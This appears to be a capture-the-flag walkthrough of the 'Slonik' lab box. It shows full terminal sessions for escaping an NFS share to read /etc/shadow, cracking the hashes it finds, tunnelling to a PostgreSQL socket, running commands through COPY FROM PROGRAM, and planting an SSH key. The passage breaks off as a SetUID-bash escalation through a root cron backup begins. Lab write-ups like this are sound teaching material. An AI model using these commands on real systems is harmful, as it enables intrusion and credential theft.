HTB: Slonik
Slonik showcases some interesting Linux techniques around NFS and PostgreSQL. I’ll start with an insecurely configured NFS mount where I can list and read files from anywhere on the filesystem as any user except root. I’ll find hashes for a service account in the shadow file and in a postgres history file, and crack either. The service account doesn’t have a shell set, so I can’t get a shell over SSH. I can port forward to a UNIX socket, which provides access to PostgreSQL. I’ll use that to get a shell as the postgres user. To escalate to root, I’ll abuse a cron running a PostgreSQL backup utility. In Beyond Root, I’ll talk about a bug I found and fixed in Netexec and its neat NFS tools.
Box Info
Recon
Initial Scanning
nmap finds eight open TCP ports, SSH (22), RPC (111, related high ports), and NFS (2049):
oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.234.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-09 14:33 UTC
...[snip]...
Nmap scan report for 10.129.234.160
Host is up, received echo-reply ttl 63 (0.023s latency).
Scanned at 2026-02-09 14:33:59 UTC for 8s
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63
40553/tcp open unknown syn-ack ttl 63
46397/tcp open unknown syn-ack ttl 63
48491/tcp open unknown syn-ack ttl 63
56923/tcp open unknown syn-ack ttl 63
59135/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.04 seconds
Raw packets sent: 79587 (3.502MB) | Rcvd: 65753 (2.630MB)
oxdf@hacky$ sudo nmap -p 22,111,2049,40553,46397,48491,56923,59135 -sCV 10.129.234.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-09 14:34 UTC
Nmap scan report for 10.129.234.160
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_ 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 42414/udp6 mountd
| 100005 1,2,3 48479/tcp6 mountd
| 100005 1,2,3 48491/tcp mountd
| 100005 1,2,3 52599/udp mountd
| 100021 1,3,4 39407/udp nlockmgr
| 100021 1,3,4 44675/tcp6 nlockmgr
| 100021 1,3,4 46397/tcp nlockmgr
| 100021 1,3,4 54499/udp6 nlockmgr
| 100024 1 50524/udp6 status
| 100024 1 56576/udp status
| 100024 1 59135/tcp status
| 100024 1 60369/tcp6 status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
40553/tcp open mountd 1-3 (RPC #100005)
46397/tcp open nlockmgr 1-4 (RPC #100021)
48491/tcp open mountd 1-3 (RPC #100005)
56923/tcp open mountd 1-3 (RPC #100005)
59135/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy LTS (or potentially 22.10 kinetic).
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
NFS - TCP 2049
List Shares
showmount -e will list the available mounts (shares) over NFS:
oxdf@hacky$ showmount -e 10.129.234.160
Export list for 10.129.234.160:
/var/backups *
/home *
There are two. netexec will show this as well:
oxdf@hacky$ netexec nfs 10.129.234.160 --enum-shares
NFS 10.129.234.160 41393 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 41393 10.129.234.160 Enumerating NFS Shares Directories
NFS 10.129.234.160 41393 10.129.234.160 [+] /var/backups
NFS 10.129.234.160 41393 10.129.234.160 UID Perms File Size File Path Access List
NFS 10.129.234.160 41393 10.129.234.160 --- ----- --------- --------- -----------
NFS 10.129.234.160 41393 10.129.234.160 0 r-- 5.1MB /var/backups/archive-2026-02-11T0155.zip *
NFS 10.129.234.160 41393 10.129.234.160 0 r-- 5.1MB /var/backups/archive-2026-02-11T0152.zip *
NFS 10.129.234.160 41393 10.129.234.160 0 r-- 5.1MB /var/backups/archive-2026-02-11T0153.zip *
NFS 10.129.234.160 41393 10.129.234.160 0 r-- 5.1MB /var/backups/archive-2026-02-11T0156.zip *
NFS 10.129.234.160 41393 10.129.234.160 0 r-- 5.1MB /var/backups/archive-2026-02-11T0151.zip *
NFS 10.129.234.160 41393 10.129.234.160 0 r-- 5.1MB /var/backups/archive-2026-02-11T0154.zip *
NFS 10.129.234.160 41393 10.129.234.160 [+] /home
NFS 10.129.234.160 41393 10.129.234.160 UID Perms File Size File Path Access List
NFS 10.129.234.160 41393 10.129.234.160 --- ----- --------- --------- -----------
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- 90.0B /home/service/.bash_history *
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- 0B /home/service/.cache/motd.legal-displayed *
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- 326.0B /home/service/.psql_history *
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- 807.0B /home/service/.profile *
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- 3.7KB /home/service/.bashrc *
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- 220.0B /home/service/.bash_logout *
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- 96.0B /home/service/.ssh/authorized_keys *
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- 96.0B /home/service/.ssh/id_ed25519.pub *
NFS 10.129.234.160 41393 10.129.234.160 1337 r-- - /home/service/.local/share/ *
It also lists the files in the shares, as well as highlights root escape:True. The netexec wiki has a page on this.
I’ll break out of the share using netexec and the --ls flag:
oxdf@hacky$ netexec nfs 10.129.234.160 --ls /
NFS 10.129.234.160 48491 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 48491 10.129.234.160 [+] Successful escape on share: /var/backups
NFS 10.129.234.160 48491 10.129.234.160 UID Perms File Size File Path
NFS 10.129.234.160 48491 10.129.234.160 --- ----- --------- ---------
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /.
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /..
NFS 10.129.234.160 48491 10.129.234.160 0 -rwx 7.0B /bin
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /boot
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /dev
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /etc
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /home
NFS 10.129.234.160 48491 10.129.234.160 0 -rwx 7.0B /lib
NFS 10.129.234.160 48491 10.129.234.160 0 -rwx 9.0B /lib32
NFS 10.129.234.160 48491 10.129.234.160 0 -rwx 9.0B /lib64
NFS 10.129.234.160 48491 10.129.234.160 0 -rwx 10.0B /libx32
NFS 10.129.234.160 48491 10.129.234.160 0 d--- 16.0KB /lost+found
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /media
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /mnt
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /opt
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /proc
NFS 10.129.234.160 48491 10.129.234.160 0 d--- 4.0KB /root
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /run
NFS 10.129.234.160 48491 10.129.234.160 0 -rwx 8.0B /sbin
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /snap
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /srv
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /sys
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /tmp
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /usr
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /var
etc
There are a handful of interesting things to find over the NFS share. I’ll grab a copy of passwd and shadow:
oxdf@hacky$ netexec nfs 10.129.234.160 --get-file /etc/passwd passwd
NFS 10.129.234.160 48491 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 48491 10.129.234.160 Downloading /etc/passwd to passwd
NFS 10.129.234.160 48491 10.129.234.160 File successfully downloaded from /etc/passwd to passwd
oxdf@hacky$ netexec nfs 10.129.234.160 --get-file /etc/shadow shadow
NFS 10.129.234.160 48491 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 48491 10.129.234.160 Downloading /etc/shadow to shadow
NFS 10.129.234.160 48491 10.129.234.160 File successfully downloaded from /etc/shadow to shadow
The only users with shells set in passwd are root and postgres:
oxdf@hacky$ cat passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
I’ll also note the service user:
oxdf@hacky$ cat passwd | grep service
service:x:1337:1337:,,,,default password:/home/service:/bin/false
They have user ID 1337, and their shell is set to /bin/false, which will block logging in over SSH.
The only users with passwords are root and service:
oxdf@hacky$ cat shadow | grep '\$'
root:$y$j9T$nHJOa2A9rTXPQi3rqjrDI/$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf.4nue0pZe3:19654:0:99999:7:::
service:$y$j9T$4gRKP9kqW6NvhFfcFU2mL/$KT6bU.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7:19654:0:99999:7:::
I’ll go into why I can read shadow but not root.txt in Beyond Root. These hashes are yescrypt, and hashcat doesn’t easily do them, but john does:
oxdf@hacky$ john --wordlist=./rockyou.txt ./shadow.hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [0:unknown 1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt 7:scrypt 10:yescrypt 11:gost-yescrypt]) is 10 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
service (?)
1g 0:00:01:02 0.09% (ETA: 18:17:41) 0.01612g/s 261.6p/s 410.1c/s 410.1C/s bored..michelle13
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
It cracks in less than a minute (it won’t be able to crack the root password).
The NFS shares are configured in /etc/exports:
/home *(ro,root_squash,sync,no_subtree_check)
/var/backups *(ro,root_squash,sync,no_subtree_check)
no_subtree_check is what allows escaping the share boundary to read the entire file system. root_squash means that I can’t impersonate the root user (which makes sense as then this box would be over).
Home Directories
There’s only service with a home directory in /home:
oxdf@hacky$ netexec nfs 10.129.234.160 --ls /home
NFS 10.129.234.160 48491 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 48491 10.129.234.160 [+] Successful escape on share: /var/backups
NFS 10.129.234.160 48491 10.129.234.160 UID Perms File Size File Path
NFS 10.129.234.160 48491 10.129.234.160 --- ----- --------- ---------
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /home/.
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /home/..
NFS 10.129.234.160 48491 10.129.234.160 1337 d--- 4.0KB /home/service
oxdf@hacky$ netexec nfs 10.129.234.160 --ls /home/service
NFS 10.129.234.160 48491 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 48491 10.129.234.160 [+] Successful escape on share: /var/backups
NFS 10.129.234.160 48491 10.129.234.160 UID Perms File Size File Path
NFS 10.129.234.160 48491 10.129.234.160 --- ----- --------- ---------
NFS 10.129.234.160 48491 10.129.234.160 1337 dr-- 4.0KB /home/service/.
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /home/service/..
NFS 10.129.234.160 48491 10.129.234.160 1337 -r-- 90.0B /home/service/.bash_history
NFS 10.129.234.160 48491 10.129.234.160 1337 -r-- 220.0B /home/service/.bash_logout
NFS 10.129.234.160 48491 10.129.234.160 1337 -r-- 3.7KB /home/service/.bashrc
NFS 10.129.234.160 48491 10.129.234.160 1337 dr-- 4.0KB /home/service/.cache
NFS 10.129.234.160 48491 10.129.234.160 1337 dr-- 4.0KB /home/service/.local
NFS 10.129.234.160 48491 10.129.234.160 1337 -r-- 807.0B /home/service/.profile
NFS 10.129.234.160 48491 10.129.234.160 1337 -r-- 326.0B /home/service/.psql_history
NFS 10.129.234.160 48491 10.129.234.160 1337 dr-- 4.0KB /home/service/.ssh
Now I’ll mount the share:
oxdf@hacky$ sudo mount -t nfs 10.129.234.160:/home /mnt
oxdf@hacky$ cd /mnt/
As oxdf (user ID 1000), I can’t access service’s home directory:
oxdf@hacky$ cd service/
-bash: cd: service/: Permission denied
I can create a user, which I’ll name service, and make sure their user ID in passwd is 1337. Because of how NFS works, as service I can read files:
oxdf@hacky$ sudo su service
$ bash
service@hacky:/mnt$ cd service
service@hacky:/mnt/service$ ls -la
total 40
drwxr-x--- 5 service service_nfs 4096 Sep 22 12:46 .
drwxr-xr-x 3 root root 4096 Oct 24 2023 ..
-rw-r--r-- 1 service service_nfs 90 Sep 22 12:46 .bash_history
-rw-r--r-- 1 service service_nfs 220 Oct 24 2023 .bash_logout
-rw-r--r-- 1 service service_nfs 3771 Oct 24 2023 .bashrc
drwx------ 2 service service_nfs 4096 Oct 24 2023 .cache
drwxrwxr-x 3 service service_nfs 4096 Oct 24 2023 .local
-rw-r--r-- 1 service service_nfs 807 Oct 24 2023 .profile
-rw-r--r-- 1 service service_nfs 326 Sep 22 12:46 .psql_history
drwxrwxr-x 2 service service_nfs 4096 Oct 24 2023 .ssh
But Claude actually taught me a slicker way, using sudo, and I don’t have to create the user:
oxdf@hacky$ sudo -u '#1337' cat /mnt/service/.bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
The .bash_history file shows a socket in use by the Postgres process.
.ssh has a public key, but no private key. The .psql_history file shows the creation of a user’s table:
oxdf@hacky$ sudo -u '#1337' cat /mnt/service/.psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q
That’s an MD5 that’s immediately crackable in CrackStation:
That matches what I found in shadow.
Backups
The /var/backups directory was shared out as a NFS share, and it has backups created every minute:
oxdf@hacky$ netexec nfs 10.129.234.160 --ls /var/backups
NFS 10.129.234.160 48491 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 48491 10.129.234.160 [+] Successful escape on share: /var/backups
NFS 10.129.234.160 48491 10.129.234.160 UID Perms File Size File Path
NFS 10.129.234.160 48491 10.129.234.160 --- ----- --------- ---------
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /var/backups/.
NFS 10.129.234.160 48491 10.129.234.160 0 dr-- 4.0KB /var/backups/..
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0131.zip
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0132.zip
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0133.zip
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0134.zip
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0135.zip
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0136.zip
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0137.zip
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0138.zip
NFS 10.129.234.160 48491 10.129.234.160 0 -r-- 4.5MB /var/backups/archive-2026-02-10T0139.zip
These files are all owned by root, but they are world-readable so I can access them:
oxdf@hacky$ netexec nfs 10.129.234.160 --get-file /var/backups/archive-2026-02-10T0131.zip archive-2026-02-10T0131.zip
NFS 10.129.234.160 41393 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 41393 10.129.234.160 Downloading /var/backups/archive-2026-02-10T0131.zip to archive-2026-02-10T0131.zip
NFS 10.129.234.160 41393 10.129.234.160 File successfully downloaded from /var/backups/archive-2026-02-10T0131.zip to archive-2026-02-10T0131.zip
The archive contains a backup of /opt/backups/current which looks like a backup of PostgreSQL (and is, using the PostgreSQL application pg_basebackup). There’s nothing too interesting here.
Shell as postgres
Create Tunnel to PostgreSQL
I got the creds for the service account, and they work:
oxdf@hacky$ netexec ssh 10.129.234.160 -u service -p service
SSH 10.129.234.160 22 10.129.234.160 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.129.234.160 22 10.129.234.160 [+] service:service Network Devices
If I try to connect, it just prints the connection message and then fails:
oxdf@hacky$ sshpass -p service ssh service@10.129.234.160
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
...[snip]...
Connection to 10.129.234.160 closed.
It does hang for a second between the ASCII art for the elephant and the Ubuntu welcome and exit.
I want access to the UNIX socket (which is handled as a file) that the PostgreSQL db is listening on as seen in the .bash_history file. SSH can actually port forward with -L to a UNIX socket:
oxdf@hacky$ sshpass -p service ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.234.160
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...[snip]...
This just hangs, and port 5432 on my host is now forwarding through the SSH connection to /var/run/postgresql/.s.PGSQL.5432 on Slonik. I can connect:
oxdf@hacky$ psql -h localhost -p 5432 -U postgres
psql (16.11 (Ubuntu 16.11-0ubuntu0.24.04.1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
Type "help" for help.
postgres=#
Database
Enumeration
This PostgreSQL instance has four databases:
postgres=# \list
List of databases
Name | Owner | Encoding | Locale Provider | Collate | Ctype | ICU Locale | ICU Rules | Access privileges
-----------+----------+----------+-----------------+---------+---------+------------+-----------+-----------------------
postgres | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | |
service | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | |
template0 | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | | =c/postgres +
| | | | | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | | =c/postgres +
| | | | | | | | postgres=CTc/postgres
(4 rows)
The only interesting one is service, and it has one table:
postgres=# \c service
psql (16.11 (Ubuntu 16.11-0ubuntu0.24.04.1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
You are now connected to database "service" as user "postgres".
service=# \dt
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | users | table | postgres
(1 row)
This is the entry I saw created in the .psql_history file:
service=# select * from users;
id | username | password | description
----+----------+----------------------------------+------------------------
1 | service | aaabf0d39951f3e6c3e8a7911df524c2 | network access account
(1 row)
SSH
To execute commands via PostgreSQL, I’ll create a table to store output, copy results into it, and get them:
service=# CREATE TABLE cmd(output text);
CREATE TABLE
service=# COPY cmd FROM PROGRAM 'id';
COPY 1
service=# select * from cmd;
output
------------------------------------------------------------------------
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
(1 row)
The passwd file shows the postgres user’s home directory is /var/lib/postgresql. It doesn’t have a .ssh directory, but I’ll create one, and give it my public key:
postgres=# COPY cmd FROM PROGRAM 'mkdir -p /var/lib/postgresql/.ssh';
COPY 0
postgres=# COPY cmd FROM PROGRAM 'chmod 700 /var/lib/postgresql/.ssh';
COPY 0
I can also pass input into a command like to do things like write a file:
service=# COPY (SELECT 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing') TO PROGRAM 'tee /var/lib/postgresql/.ssh/authorized_keys';
COPY 1
Now I can SSH into the host as postgres:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen postgres@10.129.234.160
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...[snip]...
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
...[snip]...
postgres@slonik:~$
user.txt is in the postgres user’s home directory:
postgres@slonik:~$ pwd
/var/lib/postgresql
postgres@slonik:~$ ls
14 snap user.txt
postgres@slonik:~$ cat user.txt
2b5f3f93************************
Shell as root
Enumeration
Users
I already found over NFS that the only user with a home directory in /home is service, and the only non-root user with a shell set is postgres. postgres requires a password to check sudo, which I don’t have:
postgres@slonik:/home$ sudo -l
[sudo] password for postgres:
My next step is likely to root.
Backups
I already noted above that new backups in /var/backups are being created every minute, and that it goes from /opt/backups/current:
postgres@slonik:/opt/backups$ ls -l current/
total 260
-rw------- 1 root root 3 Feb 10 11:26 PG_VERSION
-rw------- 1 root root 227 Feb 10 11:26 backup_label
-rw------- 1 root root 181443 Feb 10 11:26 backup_manifest
drwx------ 6 root root 4096 Feb 10 11:26 base
drwx------ 2 root root 4096 Feb 10 11:26 global
drwx------ 2 root root 4096 Feb 10 11:26 pg_commit_ts
drwx------ 2 root root 4096 Feb 10 11:26 pg_dynshmem
drwx------ 4 root root 4096 Feb 10 11:26 pg_logical
drwx------ 4 root root 4096 Feb 10 11:26 pg_multixact
drwx------ 2 root root 4096 Feb 10 11:26 pg_notify
drwx------ 2 root root 4096 Feb 10 11:26 pg_replslot
drwx------ 2 root root 4096 Feb 10 11:26 pg_serial
drwx------ 2 root root 4096 Feb 10 11:26 pg_snapshots
drwx------ 2 root root 4096 Feb 10 11:26 pg_stat
drwx------ 2 root root 4096 Feb 10 11:26 pg_stat_tmp
drwx------ 2 root root 4096 Feb 10 11:26 pg_subtrans
drwx------ 2 root root 4096 Feb 10 11:26 pg_tblspc
drwx------ 2 root root 4096 Feb 10 11:26 pg_twophase
drwx------ 3 root root 4096 Feb 10 11:26 pg_wal
drwx------ 2 root root 4096 Feb 10 11:26 pg_xact
-rw------- 1 root root 88 Feb 10 11:26 postgresql.auto.conf
All of the files in /opt/backups/current are created this minute. I’ll upload pspy:
oxdf@hacky$ scp -i ~/keys/ed25519_gen /opt/pspy/pspy64 postgres@10.129.234.160:/dev/shm/
...[snip]...
pspy64 100% 3032KB 8.8MB/s 00:00
I’ll set it executable and run it:
postgres@slonik:/dev/shm$ chmod +x pspy64
postgres@slonik:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...
Every minute there’s a series of processes initiated by cron:
2026/02/10 11:30:01 CMD: UID=0 PID=681830 | /usr/sbin/CRON -f -P
2026/02/10 11:30:01 CMD: UID=0 PID=681831 |
2026/02/10 11:30:01 CMD: UID=0 PID=681832 | /bin/bash /usr/bin/backup
2026/02/10 11:30:01 CMD: UID=0 PID=681833 | ???
2026/02/10 11:30:01 CMD: UID=0 PID=681834 | /usr/bin/rm -rf /opt/backups/current/PG_VERSION /opt/backups/current/backup_label /opt/backups/current/backup_manifest /opt/backups/current/base /opt/backups/current/global /opt/backups/current/pg_commit_ts /opt/backups/current/pg_dynshmem /opt/backups/current/pg_logical /opt/backups/current/pg_multixact /opt/backups/current/pg_notify /opt/backups/current/pg_replslot /opt/backups/current/pg_serial /opt/backups/current/pg_snapshots /opt/backups/current/pg_stat /opt/backups/current/pg_stat_tmp /opt/backups/current/pg_subtrans /opt/backups/current/pg_tblspc /opt/backups/current/pg_twophase /opt/backups/current/pg_wal /opt/backups/current/pg_xact /opt/backups/current/postgresql.auto.conf
2026/02/10 11:30:01 CMD: UID=0 PID=681835 | /bin/bash /usr/bin/backup
2026/02/10 11:30:01 CMD: UID=115 PID=681836 | postgres: 14/main: walsender postgres [local] authentication
2026/02/10 11:30:01 CMD: UID=115 PID=681837 | /usr/lib/postgresql/14/bin/postgres -D /var/lib/postgresql/14/main -c config_file=/etc/postgresql/14/main/postgresql.conf
2026/02/10 11:30:01 CMD: UID=0 PID=681838 | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
2026/02/10 11:30:01 CMD: UID=115 PID=681839 | postgres: 14/main: autovacuum worker
It looks like cron runs /bin/bash /usr/bin/backup. I can make out most of the script from the resulting processes, but it’s easier to just look at the file:
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
It removes all the files in /opt/backups/current, and then calls a standard PostgreSQL tool, pg_basebackup, with that as the output directory. It then zips that directory into /var/backups using the date as a name. It then counts the number of backups, and if it’s greater than 10, removes them all (which is a bit wild for a backup strategy!).
Poison Backup
The docs for pg_basebackup describe it as:
pg_basebackup is used to take a base backup of a running PostgreSQL database cluster. The backup is taken without affecting other clients of the database, and can be used both for point-in-time recovery (see Section 25.3) and as the starting point for a log-shipping or streaming-replication standby server (see Section 26.2).
The files being backed up to /opt/backups/current are the files in /var/lib/postgresql/14/main:
postgres@slonik:~/14/main$ ls
PG_VERSION pg_commit_ts pg_multixact pg_serial pg_stat_tmp pg_twophase postgresql.auto.conf
base pg_dynshmem pg_notify pg_snapshots pg_subtrans pg_wal postmaster.opts
global pg_logical pg_replslot pg_stat pg_tblspc pg_xact postmaster.pid
There are a couple differences:
postgres@slonik:~/14/main$ diff <(ls -1) <(ls /opt/backups/current/ -1)
1a2,3
> backup_label
> backup_manifest
20,21d21
< postmaster.opts
< postmaster.pid
The backup creates two files about the backup, and doesn’t copy the two postmaster files. And, the copied files are owned by root.
I’ll copy bash into the directory (since this is the postgres user’s home directory and it can write here), and set it as SetUID / SetGID:
